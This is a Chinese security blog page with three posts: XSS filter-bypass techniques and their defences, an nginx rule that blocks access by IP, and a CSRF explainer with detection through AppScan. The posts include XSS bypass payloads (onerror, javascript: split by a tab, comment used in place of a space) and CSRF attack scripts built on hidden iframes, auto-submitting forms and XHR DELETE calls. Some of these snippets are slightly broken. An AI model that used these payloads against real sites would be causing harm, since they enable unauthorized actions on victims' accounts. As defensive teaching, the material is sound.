<!DOCTYPE html>
<html>

<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
	<meta name="theme-color" content="#33474d">
	<title>失落的乐章</title>
	<link rel="stylesheet" href="/css/style.css" />
	
      <link rel="alternate" href="/atom.xml" title="失落的乐章" type="application/atom+xml">
    
</head>

<body>

	<header class="header">
		<nav class="header__nav">
			
				<a href="/archives" class="header__link">Archive</a>
			
				<a href="/tags" class="header__link">Tags</a>
			
				<a href="/atom.xml" class="header__link">RSS</a>
			
		</nav>
		<h1 class="header__title"><a href="/">失落的乐章</a></h1>
		<h2 class="header__subtitle">技术面前，永远都是学生。</h2>
	</header>

	<main>
		
	<span class="different-posts different-posts_earlier">📖 <a href="/page/35">earlier posts</a> 📖</span>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/4. XSS攻击的防范/">XSS攻击的防范</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;过滤”&lt;”和”&gt;”标记XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行，所以最基本最简单的过滤方法，就是转换”&lt;”和’&gt;”标记。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">replace(str, <span class="string">"&lt;"</span>, <span class="string">"&lt;"</span>)</div><div class="line">replace(str, <span class="string">"&gt;"</span>, <span class="string">"&gt;"</span>)</div></pre></td></tr></table></figure>
<h2 id="HTML属性过滤"><a href="#HTML属性过滤" class="headerlink" title="HTML属性过滤"></a>HTML属性过滤</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;使用上述的代码可以过滤掉”&lt;”和”&gt;”标记，让攻击者无法构造HTML标记。但是，攻击者可能会利用已存在的属性，如插入图片功能，将图片的路径属性修改为一段script代码，如</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=<span class="string">"javascript:alert(/XSS攻击/)"</span> width=100&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;上述代码执行后，同样可以实现跨站的目的。而且很多的HTML标记里属性都支持“javascript:跨站代码”的形式，因此就需要对攻击者输入的数据进行如下转换：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">replace(str, <span class="string">"javascript:"</span>, <span class="string">""</span>)</div><div class="line">replace(str, <span class="string">"jscript:"</span>, <span class="string">""</span>)</div><div class="line">replace(str, <span class="string">"vbscript:"</span>, <span class="string">""</span>)</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;一旦用户输入的语句中含有”javascript”，”jscript”，”vbscript”，都用空白代替。</p>
<h2 id="过滤特殊字符：-amp-、回车和空格"><a href="#过滤特殊字符：-amp-、回车和空格" class="headerlink" title="过滤特殊字符：&amp;、回车和空格"></a>过滤特殊字符：&amp;、回车和空格</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;因为HTML属性的值，可支持”&amp;#ASCii”的形式进行表示，前面的跨站代码就可以换成这样：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=<span class="string">"javascript:alert(/XSS攻击/)"</span> width=100&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;即可突破过滤程序，继续进行跨站攻击，使用代码：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">replace(str, <span class="string">"&amp;"</span>, <span class="string">"&amp;"</span>)</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;上述代码将”&amp;”替换为了”&amp;”，于是后面的语句就变形失效了。但是还有其他的方式绕过过滤，因为过滤关键字的方式具有很多的漏洞。攻击者可以构造下面的攻击代码：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=<span class="string">"javas cript:alert(/XSS攻击/)"</span> width=100&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这里关键字被空格，准确的说是Tab键进行了拆分，上面的代码就又失效了，这样就有考虑将Tab空格过滤，防止此类的跨站攻击。</p>
<h2 id="HTML属性跨站的彻底防范"><a href="#HTML属性跨站的彻底防范" class="headerlink" title="HTML属性跨站的彻底防范"></a>HTML属性跨站的彻底防范</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;即使程序设计者彻底过滤了各种危险字符，确实给攻击者进行跨站入侵带来了麻烦，攻击者依然可以利用程序的缺陷进行攻击，因为攻击者可以利用前面说的属性和事件机制，构造执行script代码。例如，有下面这样一个图片标记代码：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=<span class="string">"#"</span> onerror=alert(/跨站/)&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这是一个利用onerror事件的典型跨站攻击示例，于是许多程序设计者对此事件进行了过滤，一旦发现关键字”onerror”，就进行转换过滤。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;然而攻击者可以利用的时间跨站方法，并不只有onerror一种，各种各样的属性都可以进行构造跨站攻击。例如：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=<span class="string">"#"</span> style=<span class="string">"Xss:expression(alert(/跨站/));"</span>&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这样的事件属性，同样是可以实现跨站攻击的。可以注意到，在“src=”#””和“style”之间有一个空格，也就是说属性之间需要空格分隔，于是程序设计者可能对空格进行过滤，以防范此类的攻击。但是过滤了空格之后，同样可以被攻击者突破。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=<span class="string">"#"</span>/**/onerror=alert(/跨站/) width=100&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这段代码利用了脚本语言的规则漏洞，在脚本语言中的注释会被当成一个空白来表示。所以注释代码就简介的达到了空格的效果，使语句得以执行。</p>

	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/5. nginx 禁止通过ip访问站点/">nginx 禁止通过ip访问站点</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a> <a class="article__tag-link" href="/tags/Nginx/">Nginx</a>
			</span>
		
	</div>

	

	
		<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在server部分加如下代码：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">server &#123;</div><div class="line">    listen 80 default;</div><div class="line">    server_name suibian.com; <span class="comment">#这里的域名可以乱填一个</span></div><div class="line">    deny all;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/3. Web 应用程序常见漏洞 CSRF 的入侵检测与防范/">Web 应用程序常见漏洞 CSRF 的入侵检测与防范</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;互联网的安全问题一直存在，并且在可预见的未来中没有消弭的迹象，而在软件开发周期中，加入对产品安全问题的检测工作，将极大的提升对应安全问题解决的成本，对维护一个好的产品形象至关重，在竞争愈烈的网络应用产品中的生命力也将更长。本文要介绍的跨站请求伪（CSRF）在众多的攻击手段中，更具备隐蔽性，同时有更高的危害性。笔者将对其的基本特性，攻击手段，危害及防范手段，以及如何使用 Rational AppScan 对 CSRF 攻击做检测及分析做一个系统的阐述。</p>
<h2 id="CSRF-的基本概念特性"><a href="#CSRF-的基本概念特性" class="headerlink" title="CSRF 的基本概念特性"></a>CSRF 的基本概念特性</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;跨站请求伪造（CSRF）的是 Web 应用程序一种常见的漏洞，其攻击特性是危害性大但非常隐蔽，尤其是在大量 Web 2.0 技术的应用的背景下，CSRF 攻击完全可以在用户法毫无察觉的情况下发起攻击。国际上并未对 CSRF 攻击做出一个明确的定义，同时，攻击的发起手段方式繁多，下文会做详细介绍。可以解释的是发起的目标都是通过伪造一个用户请求，该请求不是用户想发出去的请求，而对服务器或服务来说这个请求是完全合法的一个请求，但是却完成了一个攻击者所期望的操作，比如添加一个用户到管理者的群组中，或将一个用户的现金转到另外的一个帐户中。通常开发人员对 CSRF 攻击的理解是有误区的，分为以下几方面，第一是如何攻击的，第二是危害到底在那里，第三是如何防范就才是一个完整的解决方案。本文就是要对这些基本的问题做一个详细的阐述，并且给出检测的有效方法。</p>
<h2 id="CSRF-的危害实例"><a href="#CSRF-的危害实例" class="headerlink" title="CSRF 的危害实例"></a>CSRF 的危害实例</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;大部分网站往往对脚本注入有严格的防范，但是对 CSRF 的防范做的就差很多。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<strong>实例 1</strong>：假设某网站高级会员会享有某些特殊权限。而当一个普通用户付款完毕就可以让管理员将自己升级为高级会员。假设管理员将一个普通用户升级为高级会员的请求是：</p>
<p><a href="http://www.mysite.com/promoteUser.jsp?username=aaaaa" target="_blank" rel="external">http://www.mysite.com/promoteUser.jsp?username=aaaaa</a></p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;我们再假设普通用户有在网站某个论坛发表话题的权限，这样一个普通用户可以将这个 URL 发表在某些话题之中，然后用我们称为社会工程学的方法引诱网站管理员点击这个链接。当管理员点击这个链接时，这个请求就会从浏览器发送到后台服务器，从而完成身份的升级。当然，在实际攻击过程中，有很多手段使得让管理员不点击也能发送这样的请求，比如将这个 URL 设置为某个图片的源。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<strong>实例 2</strong>：以一个二手跳蚤市场为例子，比如某商业交易网站注册用户 Hacker01 和     Customer01。Hacker01 在上交易频道摆上 1 辆 9 成新的宝马，投标价格是 20000$，另外再摆上另外一量废旧车型标价 1000$，然而网站是允许加载图片显示车的状况的。    所以宝马车主可以上载一个自己的图片，废旧车主也可以上载一个自己的图片。</p>
<p>宝马图片 url:<a href="http://myrepository/BMW.jpg" target="_blank" rel="external">http://myrepository/BMW.jpg</a> car id 100000001</p>
<p>废旧车图片 url:<a href="http://myrepository/oldCar.jpg" target="_blank" rel="external">http://myrepository/oldCar.jpg</a> car id 100000002</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;而该拍卖网站是通过投标决定车的最终价格，假设是竞买者参加竞买宝马的时候点击购买按钮浏览器是通过发一个 GET 请求到 <a href="http://e-bussiness-car/bid?value=20000$&amp;carid=100000001" target="_blank" rel="external">http://e-bussiness-car/bid?value=20000$&amp;carid=100000001</a> 来提交自己的竞标价格。那么 Hacker01 则可以把废    旧车图片修改为 <a href="http://e-bussiness-car/bid?value=20000$&amp;carid=100000001（或者其他的" target="_blank" rel="external">http://e-bussiness-car/bid?value=20000$&amp;carid=100000001（或者其他的</a> value 参数的数值）。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这时候的情况是：Customer01 访问宝马能看见正确的图片，并且没有任何问题。而访问废旧车发现图片是一个无法看到的图片，但当 Customer01 浏览旧车图片的时候，浏览器已经向宝马车发送了一个竞标请求。这样在用户的控制之外发出了一个合法的请求，并且被服务器接收。Hack01 可以在 Customer01 不知觉的情况下将自己的宝马车卖出。通过此例可以发现 CSRF 有着非常严重的危害性。</p>
<h2 id="CSRF-攻击的基本路径及方法"><a href="#CSRF-攻击的基本路径及方法" class="headerlink" title="CSRF 攻击的基本路径及方法"></a>CSRF 攻击的基本路径及方法</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;HTTP 协议中定义了，GET/POST/PUT/DELETE 四种基本操作方法如图 1 标记-1 所示 GET/POST 是所有网站或服务器必须使用的操作方法，而 PUT/DELETE 功能强大，但是在以往的应用中并没有被广泛的使用，直到 Web 2.0 的出现，Ajax 的引用导致     PUT/DELETE 在 REST 框架下被发扬光大，大量使用，也使 CSRF 的攻击手段中多了一种    攻击方式。本文以常用的 GET/POST 为实例，这两者是被浏览器用作与服务起进行数据交互的主要手段，并包含 Ajax 框架下的攻击介绍。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;CSRF 攻击的方法多种多样，而对这些攻击方法的认识将更有助于去检查或在产品设计中加入对 CSRF 攻击的防范使整个产品的开发的代价更小。按照攻击的方式来看，分为显式攻击和隐式攻击。显示攻击对用户来说是可以察觉的，例如通过各种方法向受害者发送链接，而隐式攻击则很难察觉，往往是访问了一个有漏洞的页面，或者一个恶意的页面，使用频率更多的则是隐性攻击，因为其更具备可操作性。下边介绍到的攻击方法都可以采取隐式攻击方法。要注意的是，用户网站是否存在脚本注入的漏洞，并不影    响 CSRF 攻击，通过使用第 3 方存在安全隐患的网站一样可以完成 CSRF 攻击。<br>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对图 1 的基本解释，标记-1 是合法用户对用户网站的访问，执行合法有效的操作；标记-2 是通过邮件系统对用户发动攻击；标记 3 是利用 Web 的网站，包括用户的操作网站，普通网站，以及黑客网站，标记-4、5、6 指的是有害用户（标记-3）利用的 3 种方式来攻击受害用户。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;图 1. CSRF 攻击示意图</p>
<p><figure class="figure"><img src="https://github.com/hcldirgit/image/blob/master/Web%20%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E%20CSRF%20%E7%9A%84%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%98%B2%E8%8C%83/01.jpeg?raw=true" alt=""></figure></p>
<h2 id="对-GET-请求的-CSRF-漏洞的攻击方式"><a href="#对-GET-请求的-CSRF-漏洞的攻击方式" class="headerlink" title="对 GET 请求的 CSRF 漏洞的攻击方式"></a>对 GET 请求的 CSRF 漏洞的攻击方式</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;GET 请求使用的频率最高，隐式的 GET 请求，例如 <img> <script\><frame><iframe>，在页面中引入上述页面元素，并且设置 SRC 属性就能在用户未知的情况下发出一个 GET 请求到想去攻击的网站。</iframe></script\></p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;以 IMG 标签为例，攻击者可以通过在图 1 中的标记-5、标记-6、标记-2、标记-4 的途径发起攻击。这种攻击的特征是无明显提示，但是已经发出一个具有完整合法的用户请求。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=http://UserSite/admin/deletepage?id=74NBCDSEFG/&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对于一个大量采用 GET 请求的网站，隐式的通过 http 标签发出一个 GET 请求将是致命的。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;具体的可执行情形描述将在如何检测部分给出。</p>
<h2 id="对-POST-请求的-CSRF-漏洞的攻击方式"><a href="#对-POST-请求的-CSRF-漏洞的攻击方式" class="headerlink" title="对 POST 请求的 CSRF 漏洞的攻击方式"></a>对 POST 请求的 CSRF 漏洞的攻击方式</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对 CSRF 有一种理解是把 GET 改为 POST 请求就认为是可以防止被攻击实际上是一种错误的理解，通过使用 <iframe> 一样可以完成一个隐式的 CSRF 攻击，具体脚本写法如下。</iframe></p>
<h3 id="清单-1-Frame1-html-脚本"><a href="#清单-1-Frame1-html-脚本" class="headerlink" title="清单 1. Frame1.html 脚本"></a>清单 1. Frame1.html 脚本</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div></pre></td><td class="code"><pre><div class="line">&lt;script&gt;</div><div class="line"><span class="keyword">function</span> post(url, fields) &#123;</div><div class="line">	var p = document.createElement(<span class="string">'form'</span>);</div><div class="line">	p.action = url;</div><div class="line">	p.innerHTML = fields;</div><div class="line">	p.target = <span class="string">'_self'</span>;</div><div class="line">	p.enctype = <span class="string">'multipart/form-data'</span>;</div><div class="line">	p.method = <span class="string">'post'</span>;</div><div class="line">	document.body.appendChild(p);</div><div class="line">	p.submit();</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="keyword">function</span> <span class="function"><span class="title">csrf_hack</span></span>() &#123;</div><div class="line">	var fields;</div><div class="line">	var csrf=<span class="string">"&lt;addMember </span></div><div class="line"><span class="string">	  dnName="</span>CN=manager 9/OU=Managers/OU=Users/O=QDSVT/DC=CN/DC=IBM/DC=COM<span class="string">" </span></div><div class="line"><span class="string">	  accessLevel="</span>Author<span class="string">" isPerson="</span>1<span class="string">" isLocal="</span>0<span class="string">"/&gt;"</span>;</div><div class="line">	fields += <span class="string">"&lt;input type='' name='action' value='"</span>+csrf+<span class="string">"'&gt;"</span>;</div><div class="line">	unescape(fields);</div><div class="line">	post(<span class="string">'http://usersite:80/dm/services/DocumentService?do401=true'</span>,fields);</div><div class="line">	alert(<span class="string">"csrf_end"</span>);</div><div class="line">&#125;</div><div class="line">	csrf_hack();</div><div class="line">	alert(<span class="string">'end'</span>)</div><div class="line">&lt;/script&gt;</div></pre></td></tr></table></figure>
<h3 id="清单-2-IFrame-html"><a href="#清单-2-IFrame-html" class="headerlink" title="清单 2. IFrame.html"></a>清单 2. IFrame.html</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;IFRAME src=./frame1.html width=0 height=0&gt;&lt;/IFRAME&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这段代码通过脚本构造一个表单提交，通过 IFRAME 加载页面自动执行本例，IFRAME 宽高属性设置成零的目的是为了达到隐式攻击的效果，JAVASCRIPT 只对窗口的大小有不成文的规范，宽高不能小于 50 像素点，但是对 iframe 并没有要求，这为隐式的跨域 Post 攻击提供了一个量好的途径。写成脚本的形式并不是说明只要被检测的站点没有脚本注入就没有任何问题，POST 隐式攻击方式一样可以通过第 3 方，如图 1，4，5，6 攻击路径都适合本例的使用。</p>
<h2 id="Web-2-0-攻击方式"><a href="#Web-2-0-攻击方式" class="headerlink" title="Web 2.0 攻击方式"></a>Web 2.0 攻击方式</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Web 2.0 技术因其能大幅度提升用户的体验，已经被非常广泛的使用，并且 Web 2.0 技术对跨站请求的提交有严格的检查，所以一般不用担心来自第三方的 xmlhttp 发出的 CSRF 攻击。Web 2.0 技术如果在本站点存在脚本注入漏洞，将会产生严重的 CSRF 攻击问题；另外一条攻击路径则是通过邮件系统，向受害用户发送带有 xmlhttp 请求的脚本文件，是否产生危害取决于用户是否执行该文件，危害性明显低于前两种。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对于发邮件，或者网站上传的文件发起攻击的案例是由 IE 的特性造成，由于 IE 允许从本地域 (local domain) 对任意域发送，一个包含 Web 2.0 代码的例子就能使 IE 完成成一次离线状态的攻击，IE 允许通过对策略的修改以达到严格的安全配置，从而禁止对同域内容的访问。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;以下是通常使用的对 Web 2.0 类型的跨站漏洞的攻击代码。</p>
<h3 id="清单-3-通常使用的对-Web-2-0-类型的跨站漏洞的攻击代码"><a href="#清单-3-通常使用的对-Web-2-0-类型的跨站漏洞的攻击代码" class="headerlink" title="清单 3. 通常使用的对 Web 2.0 类型的跨站漏洞的攻击代码"></a>清单 3. 通常使用的对 Web 2.0 类型的跨站漏洞的攻击代码</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line">&lt;script&gt;</div><div class="line">alert(<span class="string">'start delete'</span>);</div><div class="line">var payload=<span class="string">"&lt;soap:Envelope xmlns:soap="</span>http://schemas.xmlsoap.org/soap/envelope/<span class="string">" </span></div><div class="line"><span class="string">  xmlns:xsi="</span>http://www.w3.org/2001/XMLSchema-instance<span class="string">" </span></div><div class="line"><span class="string">  xmlns:xsd="</span>http://www.w3.org/2001/XMLSchema<span class="string">"&gt;&lt;soap:Header&gt;</span></div><div class="line"><span class="string">  &lt;serviceVersion&gt;8.0.0</span></div><div class="line"><span class="string">  &lt;/serviceVersion&gt;&lt;/soap:Header&gt;&lt;soap:Body&gt;&lt;deleteDocument </span></div><div class="line"><span class="string">  xmlns="</span>http://webservices.clb.content.ibm.com<span class="string">"&gt; </span></div><div class="line"><span class="string">    &lt;path&gt;/@Pcsrftestplace/@RMain.nsf/@F/@DE44FD4FF0956D07648257570002C42DA</span></div><div class="line"><span class="string">    &lt;/path&gt;</span></div><div class="line"><span class="string">    &lt;/deleteDocument&gt;&lt;/soap:Body&gt;&lt;/soap:Envelope&gt;"</span>;</div><div class="line">alert(message);</div><div class="line">var client = new XMLHttpRequest();</div><div class="line"> client.open(<span class="string">"POST"</span>, </div><div class="line"> <span class="string">"http://usercite.com /files/form/api/collections/</span></div><div class="line"><span class="string"> 2d0f6188-8872-4722-8922-3a3c842aa443/entry?format=xml "</span>);</div><div class="line"> client.setRequestHeader(<span class="string">"Content-Type"</span>, <span class="string">"text/plain;charset=UTF-8"</span>);</div><div class="line"> client.setRequestHeader(<span class="string">"x-method-override"</span>,<span class="string">"DELETE"</span>); </div><div class="line"> client.setRequestHeader(<span class="string">"x-requested-with"</span>,<span class="string">"XMLHttpRequest"</span>);</div><div class="line"> (you can customized the header <span class="keyword">if</span> you need)</div><div class="line"> client.send(<span class="string">""</span>);</div><div class="line">&lt;/script&gt; </div><div class="line">&lt;html&gt;</div></pre></td></tr></table></figure>
<h2 id="登陆-CSRF-攻击方式"><a href="#登陆-CSRF-攻击方式" class="headerlink" title="登陆 CSRF 攻击方式"></a>登陆 CSRF 攻击方式</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;登陆式的跨站请求伪造是一种较新的攻击方式，让用户错误的以为是用自己的帐户密码登陆，实际上是登录到一个 Hacker 的账户。这种攻击方式的最显著的特征是，Hacker 可以监听到用户的实际操作，通过查询历史记录可以知道用户做了那些操作，如果是在商业网站则会在历史记录中留下信用卡号，如果是在个人信息相关系统则会留下用户的隐私操作。</p>
<h2 id="使用-Rational-AppScan-对-CSRF-的检测"><a href="#使用-Rational-AppScan-对-CSRF-的检测" class="headerlink" title="使用 Rational AppScan 对 CSRF 的检测"></a>使用 Rational AppScan 对 CSRF 的检测</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;APPSCAN 是 IBM 收购 WatchFire 之后获得一款强大的网络安全的检测工具，目前属于 Rational 产品线，功能集中在网络应用产品的检测防范上，分静态与动态两种不同的功能，覆盖代码与产品的两端检测需求。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;APPSCAN 自从 7.7 的版本以后加入对 CSRF 的防范，基本原理是通过对同一个需要检测的 URL 或者 SERVICE 按照顺序发出两次请求，发送两次请求之间会做一次退出登录状态的操作，如果一个对 CSRF 已经进行防范的网站是会发送回两个不同的回应内容。实例的说明如下。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<strong>请求 1</strong></p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">GET/POST http://myproduct.com/services?action=remove&amp;id=10002</div><div class="line">Headers ….. …..</div><div class="line"></div><div class="line">	</div><div class="line">Content: ……</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<strong>返回内容 1</strong></p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">Response 200</div><div class="line">Headers …. …..</div><div class="line">Content:…..</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<strong>请求 2</strong></p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">GET/POST http://myproduct.com/services?action=remove&amp;id=10002</div><div class="line">Headers ….. …..</div><div class="line"></div><div class="line">	</div><div class="line">Content: ……</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<strong>返回内容 2</strong></p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">Response 200</div><div class="line">Headers …. …..</div><div class="line">Content:…..</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;返回内容 1 和返回内容 2 如果是完全一致的则可以认为是有问题的，反之则可以认为是没有问题。看似简单的原理，在实际操作中有个很繁琐的逻辑问题，比如请求 1 是一个删除动作，那么如何去构造一个请求 2，并且获得一个一致的结果呢？解决的办法是，要先做一个操作 1，然后再创建一个同样的 1，再做操作 2。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;从上述的简单例子就可以发现有效监测 CSRF 是一个较为繁琐的过程。AppScan 的检测前提就是对目标资源的操作在不同的一个 Session 中返回的内容肯定是应该不一样的。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这里要注意的问题是误报，Web 应用程序操作大多都是对一个固定的 URL 的请求，包含一些资源文件，以及一些功能性的请求。对于资源文件的操作，很多情况下都是一个静态的请求，在未使用 PUT/DELETE 的应用程序，是无需对 GET 请求进行 CSRF 测试，在这种情况下是不存在 CSRF 漏洞的。而如果使用了 Ajax 框架的应用程序如果存在 DELETE/PUT 操作则需注意很可能出现严重的 CSRF 问题。未使用 Ajax 的产品则集中在 GET/POST 请求，需要注意的是 GET/POST 请求对 CSRF 来说是同样具有可操作性的，对产品的危害性是一致的。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对 CSRF 测试的两个主要方向是路径覆盖测试，和精确测试。之所以是要做如此分类的原因是一个产品有大量的 URL 如果一一测试需要大量的时间精力，覆盖测试是由工具去完成的是为了保证覆盖到产品的各个路径，有些产品实际上已经对 CSRF 有很深的认识，在这种情况下大多数资源已经被很好的保护起来，没有 CSRF 的问题，这时候一个对全路径的测试就是很必要的。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;精确测试是由人来完成的通过分析产品功能和开发人员的沟通，阅读设计文档来完成的。为何要做精确测试的原因是，所有 Web 应用程序非常关注的问题之一就是产品的性能，而对所有请求都做 CSRF 防范的话就比如在一个高速公路上设置一个人工收费站一样会大大影响性能，一个好的 Web 应用在对 CSRF 防范是有针对性的，对一个没有 CSRF 保护的产品，一个良好的 CSRF 保护开端可以是由精确测试的结果为发起的。通过对固定功能的检测，以及对设计文档的了解，基本就可以断定产品是否做了 CSRF 保护。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;一个正常的使用 Appscan 来检测 CSRF 的流程如图 2 所示。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;图 2. 一个正常的使用 Appscan 来检测 CSRF 的流程</p>
<p><figure class="figure"><img src="https://github.com/hcldirgit/image/blob/master/Web%20%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E%20CSRF%20%E7%9A%84%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%98%B2%E8%8C%83/02.jpeg?raw=true" alt=""></figure></p>
